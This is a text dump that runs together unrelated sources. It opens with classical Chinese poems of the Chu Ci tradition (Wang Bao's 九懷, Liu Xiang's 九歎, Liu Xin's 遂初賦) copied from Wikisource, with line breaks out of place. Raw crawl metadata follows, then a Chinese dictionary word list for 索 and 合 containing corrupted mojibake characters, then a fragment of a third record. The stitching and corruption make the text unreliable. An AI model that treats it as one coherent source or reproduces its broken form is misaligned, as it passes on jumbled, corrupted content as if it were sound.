同兮,私於私者,自相悲兮,天道微哉,吁嗟闊兮,人理 顯然,相傾奪兮,好生惡死,才之鄙也,好貴夷賤,哲之 亂也,昭昭洞達,胸中豁也,昏昏罔覺,內生毒也,我之 心矣,哲已能忖,我之言矣,哲已能選,沒世無聞,古人 唯恥,朝聞夕死,孰云其否,逆順還周,乍沒乍起,無造 福先,無觸禍始,委之自然,終歸一矣。\n《九懷》王褒编辑\n匡機\n極運兮,不中來將屈兮,困窮。余深愍兮,慘怛。願一列 兮,無從。乘日月兮,上征。顧遊心兮,鄗酆。彌覽兮,九隅。 彷徨兮,蘭宮。芷閭兮,葯房。奮搖兮,眾芳。菌閣兮,蕙樓。 觀道兮,從橫。寶金兮,委積。美玉兮,盈堂。桂水兮,潺湲。 揚流兮,洋洋。蓍蔡兮,踴躍。孔鶴兮,回翔。撫檻兮,遠望。 念君兮,不忘。怫鬱兮,莫陳。永懷兮,內傷。\n通路\n天門兮,戶。孰由兮,賢者。無正兮,溷廁。懷德兮,何睹。 假寐兮,愍斯。誰可與兮,寤語。痛鳳兮,遠逝。畜鴳兮,近 處。鯨兮,幽潛。從蝦兮,遊陼。乘虯兮,登陽。載象兮,上 行。朝發兮,蔥嶺。夕至兮,明光。北飲兮,飛泉。南采兮,芝 英。宣遊兮,列宿。順極兮,彷徉。紅采兮,騂衣。翠縹兮,為 裳。舒佩兮,綝纚。竦余劍兮,干將。騰蛇兮,後從。飛駏兮, 步旁。微觀兮,元圃。覽察兮,瑤光。啟匱兮,探筴。悲命兮, 相當。紉蕙兮,永詞。將離兮,所思。浮雲兮,容與。道余兮, 何之。遠望兮,阡眠。聞雷兮,闐闐。陰憂兮,感余。惆悵兮, 自怜。\n危俊\n林不容兮,鳴蜩。余何留兮,中州。陶嘉月兮,總駕。搴玉 英兮,自修。結榮兮,逶逝。將去烝兮,遠遊。徑岱土兮, 魏闕。歷九曲兮,牽牛。聊假日兮,相徉。遺光耀兮,周流。 望太一兮,淹息。紆余轡兮,自休。晞白日兮,皎皎。彌遠路兮,悠悠。顧列孛兮,縹縹。觀幽雲兮,陳浮。鉅寶遷兮, 砏。雉咸雊兮,相求。決莽莽兮,究志。懼吾心兮,懤懤。 步余馬兮,飛柱。覽可與兮,匹儔。卒莫有兮,纖芥。永余 思兮,怞怞。\n昭世\n世溷兮,冥昏。違君兮,歸真。乘龍兮,偃蹇。高回翔兮,上 臻。襲英衣兮,緹。披華裳兮,芳芬。登羊角兮,扶輿。浮 雲漠兮,自娛。握神精兮,雍容。與神人兮,相胥。流星墜 兮,成雨。進瞵盼兮,上丘。墟覽舊邦兮,滃鬱。余安能兮, 久居。志懷逝兮,心懰。慄紆余轡兮,躊躇。聞素女兮,微 歌。聽王后兮,吹竽。魂悽愴兮,感哀。腸回回兮,盤紆。撫 余佩兮,繽紛。高太息兮,自憐。使祝融兮,先行。令昭明 兮,開門。馳六蛟兮,上征。竦余駕兮,入冥。歷九州兮,索 合。誰可與兮,終生。忽反顧兮,西囿。睹軫丘兮,崎傾。橫 垂涕兮,泫流。悲余后兮,失靈。\n尊嘉\n季春兮,陽陽。列草兮,成行。余悲兮,蘭生。委積兮,從橫。 江離兮,遺損。辛夷兮,擠臧。伊思兮,往古。亦多兮,遭殃。 伍胥兮,浮江。屈子兮,沈湘。運余兮,念茲。心內兮,懷傷。 望淮兮,沛沛。濱流兮,則逝。榜舫兮,下流。東注兮,磕磕。 蛟龍兮,導引。文魚兮,上瀨。抽蒲兮,陳坐。援芙蕖兮,為 蓋。水躍兮,余旌。繼以兮,微蔡。雲旗兮,電騖。儵忽兮,容 裔。河伯兮,開門。迎余兮,歡欣。顧念兮,舊都。懷恨兮,艱 難。竊哀兮,浮萍。汎淫兮,無根。\n蓄英\n秋風兮,蕭蕭。舒芳兮,振條。微霜兮,眇眇。病殀兮,鳴蜩。 元鳥兮,辭歸。飛翔兮,靈丘。望谿兮,滃鬱。熊羆兮,呴。 唐虞兮,不存。何故兮,久留。臨淵兮,汪洋。顧林兮,忽荒。 修余兮,褂衣。騎霓兮,南上。乘雲兮,回回。亹亹兮,自強。 將息兮,蘭皋。失志兮,悠悠。蒶蘊兮,黴黧。思君兮,無聊。 身去兮,意存。愴悢兮,懷愁。\n思忠\n登九靈兮,遊神。靜女歌兮,微晨。悲皇丘兮,積葛。眾體 錯兮,交紛。貞枝抑兮,枯槁。枉車登兮,慶雲。感余志兮, 慘慄。心愴愴兮,自憐。駕元螭兮,北征。曏吾路兮,蔥嶺。 連五宿兮,建旄。揚氛氣兮,為旌。歷廣漠兮,馳騖。覽中 國兮,冥冥。元武步兮,水母。與吾期兮,南榮。登華蓋兮, 乘陽。聊逍遙兮,播光。抽庫婁兮,酌醴。援瓜兮,接糧。 畢休息兮,遠逝。發玉軔兮,西行。惟時俗兮,疾正。弗可 久兮,此方。寤辟摽兮,永思。心怫鬱兮,內傷。\n陶壅\n覽杳杳兮,世惟。余惆悵兮,何歸。傷時俗兮,溷亂。將奮 翼兮,高飛。駕八龍兮,連蜷。建虹旌兮,威夷。觀中宇兮, 浩浩。紛翼翼兮,上躋。浮溺水兮,舒光。淹低佪兮,京沚。 屯余車兮,索友。睹皇公兮,問師。道莫遺兮,歸真。羨余 術兮,可夷。吾乃逝兮,南娛。道幽路兮,九疑。越炎火兮, 萬里。過萬首兮,嶷嶷。濟江海兮,蟬蛻。絕北梁兮,永辭。 浮雲鬱兮,晝昏。霾土忽兮,塺塺。息陽城兮,廣夏。衰色 罔兮,中怠。意曉陽兮,燎寤。乃息軫兮,存茲。思堯舜兮, 襲興。幸咎繇兮,獲謀。悲九州兮,靡君。撫軾歎兮,作詩。\n株昭\n悲哉于嗟兮,心內切嗟。欸冬而生兮,凋彼葉柯。瓦礫 進寶兮,捐棄隋和。鈆刀厲御兮,頓棄太阿。驥垂兩耳 兮,中蹉跎。蹇驢服駕兮,無用日多。修潔處幽兮,貴 寵沙劘。鳳凰不翔兮,鶉鴳飛揚。乘虹驂蜺兮,載雲變 化。鷦鵬開路兮,後屬青蛇。步驟桂林兮,超驤卷阿。丘 陵翔兮,谿谷悲歌。神章靈篇兮,赴曲相和。余私娛 玆兮,孰哉復加。還顧世俗兮,壞敗罔羅。卷佩將逝兮, 涕流滂沱。亂曰:皇門開兮,照下土。株穢除兮,蘭芷睹。 四佞放兮,後得禹。聖舜攝兮,昭堯緒。孰能若兮。願為 輔。\n《九歎》劉向编辑\n逢紛\n伊伯庸之末冑兮,諒皇直之屈原。云余肇祖於高陽 兮,惟楚懷之嬋連。原生受命於貞節兮,鴻永路有嘉 名。齊名字於天地兮,並光明於列星。吸精粹而吐氛 濁兮,橫邪世而不取。容行叩誠而不阿兮,遂見排而 逢讒。后聽虛而黜實兮,不吾理而順情。腸憤悁而含 怒兮,志遷蹇而左傾。心戃慌而不我與兮,躬速速而 不吾親。辭靈修而隕意兮,吟澤畔之江濱。椒桂羅以 顛覆兮,有竭信而歸誠讒。夫藹藹而曼著兮,曷其不 舒予情。始結言於廟堂兮,信中塗而叛之。懷蘭蕙與 蘅芷兮,行中而散之。聲哀哀而懷高丘兮,心愁愁 而思舊邦。願承間而自恃兮,徑淫曀而道。顏黴黧 以沮敗兮,精越裂而衰耄。裳襜襜而含風兮,衣納納 而掩露。赴江湘之湍流兮,順波湊而下降。徐徘徊於 山阿兮,飄風來之。洶洶馳余車兮,元石。步余馬兮,洞 庭。平明發兮,蒼梧。夕投宿兮,石城。芙蓉蓋而蔆華車 兮,紫貝闕而玉堂。薜荔飾而陸離薦兮,魚鱗衣而白 蜺。裳登逢龍而下隕兮,違故都之漫漫。思南郢之舊 俗兮,腸一夕而九運。揚流波之潢潢兮,體溶溶而東回。心怊悵以永思兮,意晻晻而自頹。白露紛紛以塗 塗兮,秋風瀏瀏以蕭蕭。身永流而不還兮,魂長逝而 常愁。歎曰:譬彼流水紛揚磕兮,波逢洶涌。紛滂沛兮, 揄揚滌盪。漂流隕往觸岑石兮,龍脟圈。繚戾宛轉 阻相薄兮,遭紛逢凶。蹇離尤兮,垂文揚采遺將來兮。\n靈懷\n靈懷其不吾知兮,靈懷其不吾聞就。靈懷之皇祖兮, 愬靈懷之鬼神。靈懷曾不吾知兮,即聽夫讒人之諛 辭。余辭上參於天墬兮,旁引之於四時。指日月使延 照兮,撫招搖以質正。立師曠俾端詞兮,命咎繇使並 聽兆。出名曰正則兮,封發字曰靈均。余幼既有此鴻 節兮,長愈固而彌純。不從俗而詖行兮,直躬指而信 志。不枉繩以追曲兮,屈情素以從事。端余行其如玉 兮,述皇輿之踵跡。群阿容以晦光兮,皇輿覆以幽辟。 輿中塗以回畔兮,駟馬驚而橫奔。執組者不能制兮, 必折軛而摧轅。斷鑣銜以馳騖兮,暮去次而敢止。路 蕩蕩其無人兮,遂不禦乎千里。身衡陷而下流兮,不 可獲而復登。不顧身之卑賤兮,惜皇輿之不興。出國 門而端指兮,方冀壹寤而錫還。哀僕夫之坎毒兮,屢 離憂而逢。患九年之中不吾反兮,思彭咸之水遊。惜 師延之浮渚兮,赴汨羅之長流。遵曲江之逶迤兮,觸 石碕而衡遊。波澧澧而揚澆兮,順長瀨之濁流。淩黃 沱而下低兮,思還流而復反。元輿馳而並集兮,身容 與而日遠。櫂舟航以橫濿兮,濟湘流而南極。立江界 而長吟兮,愁哀哀而累息。情恍惚以忘歸兮,神浮遊 以高厲。志蛩蛩而懷顧兮,魂眷眷而獨逝。歎曰:余思 舊邦心依違兮,日暮黃昏嗟幽悲兮,去郢東遷余誰 慕兮,讒夫黨旅其以茲故兮。河水淫淫情所願兮,顧 瞻郢路終不返兮。\n離世\n惟鬱鬱之憂毒兮,志坎壈而不違身。憔悴而考旦兮, 日黃昏而長悲閔。空宇之孤子兮,哀枯楊之冤鶵。孤 雌吟於高墉兮,鳴鳩棲於桑榆。元蝯失於潛林兮,獨 偏棄而遠放征。夫勞於周行兮,處婦憤而長望。申誠 信而罔違兮,情素潔於紉帛。光明齊於日月兮,文采 燿於玉石。傷壓次而不發兮,思沉抑而不揚。芳懿懿 而終敗兮,名糜散而不彰。背玉門以奔鶩兮,蹇離尤 而干詬。若龍逢之沈首兮,王子比干之逢醢。念社稷 之幾危兮,反為讎而見怨。思國家之離沮兮,躬獲愆 而結難。若青蠅之偽質兮,晉驪姬之反情。恐登階之 逢殆兮,故伏於末庭。孽子之號咷兮,本朝蕪而不 治犯。顏色而觸諫兮,反蒙辜而被疑。菀蘼蕪與菌若 兮,漸槁本於洿瀆。淹芳芷於腐井兮,棄雞駭於筐簏。 執棠谿以刜蓬兮,秉干將以割肉。筐澤瀉以豹鞹兮, 破荊和以繼築。時溷濁猶未清兮,世淆亂猶未察。欲 容與以時兮,懼年歲之既。晏顧屈節以從流兮,心 鞏鞏而不夷。寧浮沅而馳騁兮,下江湘以邅迴。歎曰: 山中檻檻余傷懷兮,征夫皇皇其孰依兮,經營原野 杳冥冥兮,乘騏騁驥舒吾情兮,歸骸舊邦莫誰語兮, 長辭遠逝乘湘去兮。\n怨思\n志隱隱而鬱怫兮,愁獨哀而冤。結腸紛紜以繚轉兮, 涕漸漸其若屑。情慨慨而長懷兮,信上皇而質正合。 五嶽與八靈兮,訊九魁與六神。指列宿以白情兮,訴 五帝以置詞。北斗為我質中兮,太一為余聽之云。服 陰陽之正道兮,御后土之中。和佩蒼龍之蚴虯兮,帶 隱虹之逶蛇。曳彗星之皓旰兮,撫朱爵與鵔鸃遊。青 霧之颯戾兮,服雲衣之披。披杖玉策與朱旗兮,垂明 月之元。珠與霓旌之墆翳兮,建黃昏之總旄。躬純粹 而罔愆兮,承皇考之妙儀。惜往事之不合兮,橫汨羅 而下厲。乘隆波而南度兮,逐江湘之順流。赴陽侯之 潢洋兮,下石瀨而登州。陸魁堆以蔽視兮,雲冥冥而 闇前山。峻高以無垠兮,遂會閎而迫身。雪雰雰而薄 木兮,雲霏霏而隕集。阜隘狹而幽險兮,石嵾嵯以翳 日悲。故鄉而發怒兮,去余邦之彌久。背龍門而入河 兮,登大墳而望夏首。橫舟航而濟湘兮,耳聊啾而戃 慌。波淫淫而周流兮,鴻溶溢而滔蕩。路曼曼其無端 兮,周容容而無識。引日月以指極兮,少須臾而釋思 水。波遠以冥冥兮,眇不睹其東西。順風波以南北兮, 霧宵晦以紛闇。日杳杳以西頹兮,路長遠而窘迫。欲 酌醴以娛意兮,蹇騷騷而不釋。歎曰:飄風蓬龍埃拂 拂兮,草木搖落時槁悴兮,遭傾遇禍不可救兮,長吟 永欷涕煢煢兮,舒情敶詩冀以自免兮,頹流下逝身 日以遠兮。\n遊逝\n悲余性之不可改兮,屢懲艾而不迻。服覺酷以殊俗 兮,貌揭揭以巍巍。譬若王僑之乘雲兮,載赤霄而淩。 太清欲與天地參壽兮,與日月而比榮。登崑崙而北 首兮,悉靈圉而來謁。選鬼神於太陰兮,登閶闔於元 闕回。朕車俾西引兮,褰虹旗於玉門。馳六龍於三危 兮,朝四靈於九濱結。余軫於西山兮,橫飛谷以南征。絕都廣以直指兮,歷祝融於朱冥。枉玉衡於炎火兮, 委兩館於咸唐貫。澒濛以東朅兮,維六龍於扶桑。周 流覽於四海兮,志升降以高馳。徵九神於回極兮,建 虹采以招指駕。鸞鳳以上遊兮,從元鶴與鷦朋。孔鳥 飛而送迎兮,騰群鶴於瑤光。排帝宮與羅囿兮,升縣 圃以眩滅。結瓊枝以雜佩兮,立長庚以繼日。淩驚雷 以軼駭電兮,綴鬼谷於北辰。鞭風伯使先驅兮,囚靈 元於虞淵。愬高風以徘徊兮,覽周流於朔方。就顓頊 而敶詞兮,考元冥於空桑。旋車逝於崇山兮,奏虞舜 於蒼梧。楊舟於會稽兮,就申胥於五湖。見南郢之 流風兮,殞余躬於沅湘。望舊邦之黯黮兮,時溷濁猶 未央。懷蘭之芬芳兮,妒被離而折之。張絳帷以襜 襜兮,風邑邑而蔽之。日暾暾其西含兮,陽炎炎而復。 顧聊假日以須臾兮,何騷騷而自故。歎曰:譬彼蛟龍 乘雲浮兮,汎淫澒溶紛若霧兮,潺湲轇轕雷動電發 馺高舉兮,升虛淩冥沛濁浮清入帝宮兮,搖翹奮羽 馳風騁雨遊無窮兮。\n惜賢\n覽屈氏之《離騷》:兮,心哀哀而怫鬱。聲嗷嗷以寂寥兮, 顧僕夫之憔悴。撥諂諛而匡邪兮,切淟涊之流俗。盪 渨之姦咎兮,夷蠢蠢之溷濁。懷芬香而挾蕙兮,佩 江蘺之菲菲。握申椒與杜若兮,冠浮雲之峨峨。登長 陵而四望兮,覽芷圃之蠡蠡。遊蘭皋與蕙林兮,睨玉 石之嵾嵯。揚精華以眩燿兮,芳鬱渥而純美。結桂樹 之旖旎兮,紉荃蕙與辛夷芳。若茲而不御兮,捐林薄 而菀死。驅子僑之奔走兮,申徒狄之赴淵。若夷田之 純美兮,介子推之隱山。晉申生之離殃兮,荊和氏之 泣血。吳子胥之抉眼兮,王子比干之橫廢。欲卑身而 下體兮,心隱惻而不置。方圜殊而不合兮,鉤繩用而 異態。欲時於須臾兮,日陰曀其將。暮時遲遲其日 進兮,年忽忽而日度。妄周容而入世兮,內距閉而不 開。時風之清激兮,愈氛霧其如塺進。雄鳩之耿耿 兮,讒紛紛而蔽之。默順風以偃仰兮,尚由由而進之。 心悢以冤結兮,情舛錯以曼憂。搴薜荔於山野兮, 采撚枝於中州。望高丘而歎涕兮,悲吸吸而長懷。孰 契契而委棟兮。日晻晻而下頹。歎曰:油油江湘長流 汨兮,挑揄揚波盪迅疾兮,憂心展轉愁怫鬱兮,冤結 未舒長隱忿兮。丁時逢殃孰可奈何兮。勞心涓涓涕 滂兮。\n憂苦\n悲余心之悁悁兮,哀故邦之逢殃。辭九年而不復兮, 獨煢煢而南行思。余俗之流風兮,心紛錯而不受。遵 野莽以呼風兮,步從容於山藪。巡陸夷之曲衍兮,幽 空虛以寂寞。倚石巖以流涕兮,憂憔悴而無樂。登巑 岏以長企兮,望南郢而闚之。山修遠其遼遼兮,塗漫 漫其無時。聽元鶴之辰鳴兮,于高岡之峨峨。獨憤積 而哀娛兮,翔江洲而安歌。三鳥飛飛以自南兮,覽其 志而欲北。願寄言於三鳥兮,去飄疾而不可得。欲遷 志而改操兮,心紛結而未離。外彷徨而遊覽兮,內惻 隱而含哀。聊須臾以時忘兮,心漸漸其煩錯。願假簧 以舒憂兮,志紆鬱其難釋嘆。《離騷》以揚意兮,猶未殫 於《九章》長噓。吸以於悒兮,涕橫集而成行。傷明珠之 赴泥兮,魚眼璣之堅。藏同駑騾與乘駔兮,雜斑駮與 闒葺。葛藟虆於桂樹兮,鴟鴞集於木蘭。偓促談於廊 廟兮,律魁放乎山間。惡虞氏之簫韶兮,好遺風之激。 楚潛周鼎於江淮兮,爨土鬵於中宇。且人心之有舊 兮,而不可保長邅。彼南道兮,以征夫宵行。思念郢路 兮,還顧睠睠。涕流交集兮,泣下漣漣。歎曰:登山長望 中心悲兮,菀彼青青泣如頹兮,留思北顧涕漸漸兮。 折銳摧矜凝氾濫兮,念我煢煢魂誰來兮,僕夫慌悴 散若流兮。\n愍命\n昔皇考之嘉志兮,喜登能而亮賢。情純潔而罔薉兮, 姿盛質而無愆。放佞人與諂諛兮,斥讒夫與便嬖親。 忠正之悃誠兮,招貞良與明智。心溶溶其不可量兮, 情澹澹其若淵回邪。辟而不能入兮,誠願藏而不可 遷。逐下袟於後堂兮,迎宓妃於伊雒。刜讒賊於中廇 兮,選呂管於榛薄。叢林之下無怨士兮,江河之畔無 隱夫。三苗之徒以放逐兮,伊皋之倫以充廬。今反表 以為裡兮,顛裳以為衣。戚宋萬於兩楹兮,廢周邵於 遐夷。卻騏驥以轉運兮,騰驢騾以馳。逐蔡女黜而出 帷兮,戎婦入而綵繡。服慶忌囚於阱室兮,陳不占戰 而赴圍。破伯牙之號鐘兮,挾人箏而彈緯。藏石於 金匱兮,捐赤瑾於中庭。韓信蒙於介冑兮,行夫將而 攻城。莞芎棄於澤洲兮,蠹於筐簏。麒麟奔於九 皋兮,熊羆群而逸囿。折芳枝與璚華兮,樹枳棘與薪 柴。握荃蕙與射干兮,耘藜藿與蘘荷。惜今世其何殊 兮,遠近思而不同。或沉淪其無所達兮,或清激其無 所通。哀余生之不當兮,獨蒙毒而逢尤。雖謇謇以申 志兮,君乖差而屏之誠。惜芳之菲菲兮,反以茲為腐 也。懷椒聊之藹藹兮,乃逢紛以罹詬。歎曰:嘉皇既沒終不返兮,山中幽險郢路遠兮。讒人諓諓孰可愬兮。 征夫罔極誰可語兮,行累欷聲喟喟兮,懷憂含戚 何侘傺兮。\n思古\n冥冥深林兮,樹木鬱鬱。山參差以嶄巖兮,阜杳杳以 蔽日。悲余心之悁悁兮,日眇眇而遺泣。風騷屑以搖 木兮,雲吸吸以啾戾悲。予生之無歡兮,愁倥傯於山 陸。旦俳徊於長阪兮,夕彷徨而獨宿。髮披披以鬤鬤 兮,躬劬勞而瘏悴。魂俇俇而南行兮,泣霑襟而濡袂。 心嬋媛而無告兮,口噤閉而不言。違郢都之舊閭兮, 回湘沅而遠遷。念余邦之橫陷兮,宗鬼神之無次閔。 先嗣之中絕兮,心遑惑而自悲。聊浮游於山兮,步 周流於江畔。臨深水而長嘯兮,且徜徉而氾觀。興《離 騷》之微文兮,冀靈修之壹。悟還余車於南郢兮,復往 軌於初古道。修遠其難遷兮,傷余心之不能已。背三 五之典刑兮,絕《洪範》之辟紀。播規矩以背度兮,錯權 衡而任意。操繩墨而放棄兮,傾容幸而侍側。甘棠枯 於豐草兮,藜棘樹於中庭。西施斥於北宮兮,仳倠倚 於彌楹。烏獲戚而驂乘兮,燕公操於馬圉。蒯瞶登於 清府兮,咎繇棄於外。蓋見茲以永歎兮,欲登階而 狐疑。乘白水而高鶩兮,因徙弛而長詞。歎曰:徜徉壚 陂沼水深兮,容與漢渚涕淫淫兮。鍾牙已死誰為聲 兮,纖阿不遇焉舒情兮。曾哀悽欷心離離兮,還顧高 丘泣如灑兮。\n《遂初賦》劉歆编辑\n遂初賦者,劉歆所作也。歆少通詩書,能屬文。成帝召為黃門侍郎,中壘校尉侍中,奉車都尉光祿大夫。歆好左氏春秋,欲立於學官,時諸儒不聽,歆乃移書太常博士,責讓深切,為朝廷大臣非疾,求出補吏,為河內太守,又以宗室不宜典三,河徙五原太守。是時朝政已多失矣,歆以論議見排擯志,竟不得之官。經歷故晉之域,感今思古,遂作斯賦,以歎往事,而寄己意。\n昔遂初之顯祿兮,遭閶闔之開通。蹠三台而上征兮, 入北辰之紫宮。侍列宿於鉤陳兮,擁太常之樞極。總 六龍於駟房兮,奉華蓋於帝側。惟太階之侈闊兮,機 衡為之難運。懼魁杓之前後兮,遂隆集於河濱。遭陽 侯之豐沛兮,乘素波以聊戾。得元武之嘉兆兮,守五 原之烽。燧二乘駕而既俟僕,夫期而在塗。馳太行之 嚴防兮,入天井之喬關。歷岡岑以升降兮,馬龍騰以 起攄。舞雙駟以優遊兮,濟黎侯之舊居。心滌蕩以慕 遠兮,迴高都而北征。劇彊秦之暴虐兮,弔趙括於長 平。好周文之嘉德兮,躬尊賢而下士。駕駟馬而觀風 兮,慶辛甲於長子哀。衰周之失權兮,數困辱而莫扶 執。孫蒯於屯留兮,救王師於余。吾過下虒而歎息兮, 悲平公之作臺。背宗周而不卹兮,苟偷樂而情怠。板 葉落而不省兮,公族闃其無人曰。不悛而愈甚兮,政 委棄於家門。載約屨而正朝服兮,降皮弁以為履。寶 礫石於廟堂兮,面隋和而不視。始建衰而造亂兮,公 室繇此遂卑憐。後君之寄寓兮,唁靖公之銅鞮。越侯 田而長驅兮,釋叔向之飛患。悅善人之有救兮,勞祁 奚於太原。何叔子之好直兮,為群邪之所惡。賴祁子 之一言兮,幾不免乎徂落。美不必為偶兮,時有羞 而不相及。雖韞寶而求價兮,嗟千載其焉合。昔仲尼 之淑聖兮,竟隘窮乎陳蔡。彼屈原之貞專兮,卒放沉 於湘淵。何方直之難容兮。柳下黜而三辱。蘧瑗抑而 再奔兮,豈材知之不足。揚蛾眉而見妒兮,固醜女之 情也。曲木惡直繩兮,亦小人之誠也。以夫子之博觀 兮,何此道之必然。空下時而矔世兮,自命己之取患。 悲積習之生常兮,固明智之所別叔群。既在皁隸兮, 六卿興而為桀。荀寅肆而顓恣兮,吉射叛而擅兵。憎 人臣之若茲兮,責趙鞅於晉陽。軼中國之都邑兮,登 句注以陵厲歷。雁門而入雲中兮,超絕轍而遠逝。濟 臨沃而遙思兮,忽垂意乎。邊都埜蕭條以寥廓兮,陵 谷錯以盤紆。飄寂寥以荒昒兮,沙埃起而杳冥。迴風 育其飄忽兮,迴颭颭之泠泠。薄涸凍之凝滯兮,茀谿 谷之清涼。漂積雪之皚皚兮,涉凝露之隆霜。揚雹霰 之復陸兮,慨原泉之凌陰。激流澌之漻淚兮,窺九淵 之潛淋。颯悽愴以慘怛兮,慼風漻以冽寒。獸望浪以 竄兮,鳥脅翼之浚浚。山蕭瑟以鶤鳴兮,樹木壞而 哇。地坼裂而憤急兮,巨石破之喦喦。天烈烈以厲 高兮,廖窗以梟牢。雁邕邕以遲遲兮,埜鸛鳴而嘈 嘈。望亭隧之皦皦兮,飛旂幟之翩翩。回百里之無家 兮,路修遠之綿綿。於是勒障塞而固守兮,奮武靈之 精誠。攄趙奢之策慮兮,威謀完乎。金城外折衝以無 虞兮,內撫民以永寧。既邕容以自得兮,唯惕懼於竺 寒。攸潛溫之元室兮,滌濁穢於太清。反情素於寂寞 兮,居華體之冥冥。玩書琴以條暢兮,考性命之變態。 運四時而覽陰陽兮,總萬物之珍怪。雖窮天地之極 變兮,曾何足乎。留意長恬澹以懽娛兮,固聖賢之所 喜。亂曰:處幽潛德含聖神兮,抱奇內光自得真兮。寵幸浮寄奇無常兮,寄之去留亦何傷兮。大人之度品 物齊兮,舍位之過忽若遺兮,求位得位固其常兮,守 信保己比老彭兮。\n|本作品在全世界都属于公有领域,因为作者逝世已经超过100年,并且于1923年1月1日之前出版。|","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E6%AC%BD%E5%AE%9A%E5%8F%A4%E4%BB%8A%E5%9C%96%E6%9B%B8%E9%9B%86%E6%88%90\/%E6%98%8E%E5%80%AB%E5%BD%99%E7%B7%A8\/%E4%BA%BA%E4%BA%8B%E5%85%B8\/%E7%AC%AC077%E5%8D%B7","date":"2019-11-15T15:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668682.16\/warc\/CC-MAIN-20191115144109-20191115172109-00455.warc.gz","language":"lzh","language_score":0.6665468216,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6665468215942383, \"cmn_Hani_score\": 0.16338662803173065, \"nan_Hani_score\": 0.14766013622283936}","num_words":1196,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.001,"flagged_words_ratio":0.0,"lang_id_score":0.399,"perplexity_score":500.0,"cluster_detection":1} +{"text":"索性 索然 索取 索引 索索 索要 索居 索隐 索虏 索寞 索求 索莫 索落 索绝 索解 索兴 索赔 索漠 索望 索句 索笑 索桥 索道 索逋 索瑟 索子 索饭 索卢 索郎 索米 索命 索贿 索绹 索酒 索价 索空 索妇 索伦 索喜 索秘 索飨 索约 索知 索合 索头 索饼 索强 索客 索瘢 索苇 索辨 索牛 索手 索战 索帬 索放 索处 索是 索微 索粉 索具 索诃 索诈 索面 索赖 索梯 索偶 索谢 索铁 索葛 索用 萧索 探索 思索 检索 搜索 摸索 离索 勒索 悉索 求索 瑟索 利索 落索 索索 线索 追索 玩索 弦索 郭索 八索 贯索 一索 枯索 绳索 须索 需索 寻索 浮索 抖索 苇索 收索 铁索 百索 气索 考索 只索 则索 借索 消索 露索 彩索 戎索 铃索 疏索 觅索 度索 木索 函索 宣索 罥索 来索 绷索 凋索 迹索 乞索 捍索 走索 盗索 俐索 力索 带索 淘索 森索 颤索 泛索 坟索 缨索 窄索 子索 寥索 获索 根索 比索 捕索 三索 桅索 挛索 可索 脊索 羁索www.shufadashi.com*�ɼ*�\n解释\n1.寻求志同道合的人。 2.须当。\n牉合 索合 暗合 香合 攒合 寝合 拍合 雾合 泮合 期合 墙合 弭合 纳合 \"合???\"的词语: 合家欢乐 合浦珠还 合二为一 合盘托出 合情合理 合衷共济 合从连衡 合两为一 合而\n合不拢嘴 阿谀苟合 阿意苟合 安安合适 攒零合整 偷合取容 若合符节 千载一合 貌合形离 蜂合蚁聚 蜂合豕突 分久必合,合久必分 蜂屯乌合 珠连璧合 中外合璧 贞元会合 针芥之合 造车合辙 云交雨合 云合响应 云合雾集 应节合拍 一匡九合 意合情投 延津之合 延津剑合 行合趋同 行不苟合 雾集云合 外合里应 瓦合之卒 土洋结合 偷合苟从 同心合意 同心合德 同心合胆 通时合变 同符合契 同船合命 同尘合污 日月合璧 曲意迎合 情投谊合 情投契合 情孚意合 牵强附合 前合后仰 牵合傅会 牵合附会 契合金兰 破镜重合 貌离神合 貌合行离 论高寡合 九合一匡 镜圆璧合 金钗细合 计合谋从 毁方瓦合 还珠合浦 合衷共济 合眼摸象 合浦还珠 合两为一 合胆同心 公道合理 肤寸而合 分进合击 反经合义 反经合道 斗唇合舌 道同志合 道同义合 道同契合 道合志同 出门合辙 楚歌四合 持权合变 承嬗离合 闭门合辙 璧合珠联 闭合自责 闭合思过 百年好合 纵横开合 珠还合浦 志同道合 云合景从 中西合璧 珠联璧合 一拍即合 严丝合缝 信口开合 五合六聚 通力合作 同心合力 偷合苟容 天缘凑合 天作之合 乌合之众 外合里差 同流合污 势合形离 日月合壁 齐心合力 情投意合 前仰后合 起承转合 貌合神离 落落难合 六合之内 貌合心离 落落寡合 离合悲欢 连珠合璧 里应外合 龃龉不合 纠合之众 合从连衡 合而为一 合浦珠还 苟合取容 斗榫合缝 大开大合 揣合逢迎 朝升暮合 不谋而合 不合时宜 悲欢离合 貌合情离 碌碌寡合 劳逸结合 开合自如 合情合理 合盘托出 合二为一 公平合理 分工合作 钿合金钗 璧合珠连*www.shufadashi.com*ɼ*�\n声明:本网内容旨在传播知识仅供参考,不代表本网赞同其观点,文字及图片版权归原网站所有。","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/shufadashi.com\/b\/1714\/iw17147941.html","date":"2020-08-06T18:42:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737019.4\/warc\/CC-MAIN-20200806180859-20200806210859-00553.warc.gz","language":"lzh","language_score":0.4012102783,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4012102782726288, \"cmn_Hani_score\": 0.40098387002944946, \"yue_Hani_score\": 0.12793497741222382, \"nan_Hani_score\": 0.045788999646902084, \"wuu_Hani_score\": 0.01487725879997015}","num_words":318,"character_repetition_ratio":0.015,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第 2 页 共 19 页\n大正藏第 52 册 No. 2115 